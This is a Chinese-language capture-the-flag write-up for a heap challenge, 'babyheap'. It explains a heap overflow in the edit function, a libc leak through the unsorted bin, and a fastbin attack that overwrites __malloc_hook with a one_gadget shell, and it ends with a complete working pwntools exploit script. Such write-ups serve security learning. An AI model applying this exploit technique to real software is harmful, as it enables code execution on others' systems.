0x00 废话
考完试了,一学期结束,我还是这么菜。
0x01 程序分析
很常规的一个堆利用题目了,各个函数功能块都很简单,主函数如下
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
chunk *head; // [rsp+8h] [rbp-8h]
head = (chunk *)init_my();
while ( 1 )
{
menu();
read_num();
switch ( (unsigned __int64)off_14F4 )
{
case 1uLL:
add(head);
break;
case 2uLL:
fill(head);
break;
case 3uLL:
delete(head);
break;
case 4uLL:
dump(head);
break;
case 5uLL:
return 0LL;
default:
continue;
}
}
}
结构体如下
00000000 chunk struc ; (sizeof=0x18, mappedto_6)
00000000 inuse dq ?
00000008 size dq ?
00000010 str dq ? ; offset
00000018 chunk ends
基本就是对该结构的字符串进行修改和删除操作,结构体本身不会分配chunk,而是以全局数组元素的形式出现。
0x02 利用方式
在edit函数中,没有对size进行限制,这使得我们的输入可以溢出到后方chunk中,即存在堆溢出漏洞。思路如下:
1.泄漏libc->泄漏unsortbin
利用堆溢出,我们可以堆后方chunk的各个字段进行修改,包括大小和fd指针,这样我们能在任意地址分配chunk
要泄漏unsortbin地址,即必须同时存在一个inuse_chunk和一个已被unsortbin回收的chunk,且这两个chunk为同一chunk。这样inuse_chunk的数据即为unsortbin中的一个地址,它与libc的相对偏移固定。
在64位的情况下,unsortbin只会回收大于128字节的块,所以需要申请一个0x80大小的chunk。要使该chunk在free后依然处于inuse状态,必须让另一节点也指向该chunk,这里我们通过堆溢出使得free后的某一chunk的fd指向该0x80的chunk,由于不知道具体地址,所以该free后的chunk的fd必须指向另一free chunk,然后只覆盖最低1字节即可。重新分配后我们就能得到一个既是inuse_chunk也被unsortbin回收的chunk。需要注意的是,为了保证malloc和free的顺利进行,有时需要对该chunk的size进行修改;且为了防止0x80 chunk在free后合并到top chunk,需要多分配一个chunk保证其不连续性。
#leak libc
add(0x10)
add(0x10)
add(0x10)
add(0x10)
add(0x80)
delete(2)
delete(1)
payload = 'a'*0x10 + p64(0) + p64(0x21) + p8(0x80) #cover 0->fd low byte
edit(0, len(payload), payload)
#fastbin: 1->4
add(0x10) #1
payload = 'a'*0x10 + p64(0) + p64(0x21) #change size
edit(3, len(payload), payload)
add(0x10) #2(4)
payload = 'a'*0x10 + p64(0) + p64(0x91) #change size
edit(3, len(payload), payload)
add(0x80)
delete(4)
#get unsortbin address
menu()
p.sendline('4')
p.recvuntil('Index: ')
p.sendline('2')
p.recvline()
unsortbin_addr = u64(p.recv(8))
libc_addr = unsortbin_addr - 0x3c4b78
print hex(libc_addr)
2.修改__malloc_hook->伪造main_arean-0x33处chunk
这里就很常见了,本质上是伪造了一个chunk结构在__malloc_hook周围,然后__malloc_hook能作为数据部分供我们修改,最终写入一个one_gadget即可对malloc完成hook
#cover __malloc_hook
main_arena = libc_addr + 0x3c4b20
add(0x60)
delete(4)
fake_chunk = main_arena - 0x33
edit(2, len(p64(fake_chunk)), p64(fake_chunk)) #change fd
add(0x60) #4
add(0x60) #fake chunk
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
payload = 0x13*'a' + p64(libc_addr + 0x4526a)
edit(6, len(payload), payload)
menu()
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(0x40))
完整脚本:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
libc = ELF('./libc.so.6')
p = process('./babyheap')
def menu():
p.recvuntil('Command: ')
def add(size):
menu()
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(size))
p.recvline()
def edit(idx, size, content):
menu()
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(idx))
p.recvuntil('Size: ')
p.sendline(str(size))
p.recvuntil('Content: ')
p.sendline(content)
def delete(idx):
menu()
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(idx))
def dump(idx):
menu()
p.sendline('4')
p.recvuntil('Index')
p.recvline()
def main():
#leak libc
add(0x10)
add(0x10)
add(0x10)
add(0x10)
add(0x80)
delete(2)
delete(1)
payload = 'a'*0x10 + p64(0) + p64(0x21) + p8(0x80)
edit(0, len(payload), payload)
#fastbin: 1->4
add(0x10) #1
payload = 'a'*0x10 + p64(0) + p64(0x21) #change size
edit(3, len(payload), payload)
add(0x10) #2(4)
payload = 'a'*0x10 + p64(0) + p64(0x91) #change size
edit(3, len(payload), payload)
add(0x80)
delete(4)
menu()
p.sendline('4')
p.recvuntil('Index: ')
p.sendline('2')
p.recvline()
unsortbin_addr = u64(p.recv(8))
libc_addr = unsortbin_addr - 0x3c4b78
print hex(libc_addr)
#cover __malloc_hook
main_arena = libc_addr + 0x3c4b20
add(0x60)
delete(4)
fake_chunk = main_arena - 0x33
edit(2, len(p64(fake_chunk)), p64(fake_chunk)) #change fd
add(0x60) #4
add(0x60) #fake chunk
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
payload = 0x13*'a' + p64(libc_addr + 0x4526a)
edit(6, len(payload), payload)
menu()
p.sendline('1')
p.recvuntil('Size: ')
p.sendline(str(0x40))
p.interactive()
if __name__ == '__main__':
main()